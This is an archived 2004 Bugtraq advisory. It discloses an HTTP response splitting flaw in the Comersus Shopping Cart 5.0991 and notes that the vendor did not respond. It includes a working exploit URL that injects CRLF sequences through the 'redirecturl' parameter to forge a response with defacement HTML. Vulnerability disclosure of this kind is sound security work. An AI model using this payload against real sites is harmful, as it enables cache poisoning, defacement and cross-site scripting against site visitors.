bugtraq - ADVISORY: http response splitting hole in Comersus shopping cart

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040901045254.199A9E5BC6@ws7-2.us4.outblaze.com>
Date: Tue, 31 Aug 2004 23:52:54 -0500
From: "Maestro De-Seguridad" <maestrodeseguridad@...os.com>
To: bugtraq@...urityfocus.com
Subject: ADVISORY: http response splitting hole in Comersus shopping cart


ADVISORY
 
Author: Maestro (me!)
 
Date: 01-SEP-04
 
Vendor: Comersus (www.comersus.com)
 
Product: Comersus Shopping Cart 5.0991
 
Problem: Http response splitting (web cache poisoning, xss, 
yadayadayada) - 

http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
 
Exploit:
http://site/path_to_comersus/comersus_customerLoggedVerify.asp?

redirecturl=%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-L

ength:%2028%0d%0a%0d%0a{html}0wned%20by%20me{/html}

(replace curly braces with lessthan and greaterthan)

Vendor status: vendor was contacted (attempt) several times over the 
last two weeks, by their bug report form, and by emal to support. No 
response so far. 

-- 
_______________________________________________
Find what you are looking for with the Lycos Yellow Pages
http://r.lycos.com/r/yp_emailfooter/http://yellowpages.lycos.com/default.asp?SRC=lycos10